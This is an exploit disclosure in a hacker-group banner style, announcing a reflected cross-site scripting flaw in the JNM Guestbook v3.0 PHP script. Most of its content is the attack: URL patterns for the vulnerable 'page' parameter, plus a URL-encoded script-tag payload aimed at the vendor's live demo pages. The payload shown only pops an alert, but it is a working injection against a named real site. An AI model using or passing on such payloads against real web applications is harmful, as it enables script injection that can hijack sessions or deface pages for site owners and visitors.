########################################################################### #-----------------------------I AM MUSLIM !!------------------------------# ########################################################################### ============================================================================== _ _ _ _ _ _ / \ | | | | / \ | | | | / _ \ | | | | / _ \ | |_| | / ___ \ | |___ | |___ / ___ \ | _ | IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_| ============================================================================== [»] I am from the hell... ============================================================================== [»] JNM Guestbook v3.0 Remote XSS vulnerability ============================================================================== [»] Script: [ JNM Guestbook v3.0 ] [»] Language: [ PHP ] [»] Download: [ http://www.jnmsolutions.co.uk/index.php?act=scripts&page=guestbook ] [»] Founder: [ Moudi ] [»] Thanks to: [ MiZoZ , ZuKa , str0ke , 599em Man...] [»] Team: [ EvilWay ] [»] SiteWeb: [ Want your site here ? ADD ME MSN. ] [»] Price: [ £14.99 ] ########################################################################### ===[ XSS ]=== [»] http://www.site.com/patch/index.php?page=[XSS]&order=asc [»] http://www.site.com/patch/?page=[XSS]&order=asc ===[ LIVE ]=== [»] http://www.jnmsolutions.co.uk/scripts/guestbook/test2/index.php?page= [»] XSS TO ADD: 1%3E%27%3E%3CScRiPt%20%0A%0D%3Ealert(309018679930)%3B%3C/ScRiPt%3E&order=asc [»] http://www.jnmsolutions.co.uk/scripts/guestbook/test2/?page= [»] XSS TO ADD: 1%3E%27%3E%3CScRiPt%20%0A%0D%3Ealert(309018679930)%3B%3C/ScRiPt%3E&order=asc Note: -.- Author: Moudi ###########################################################################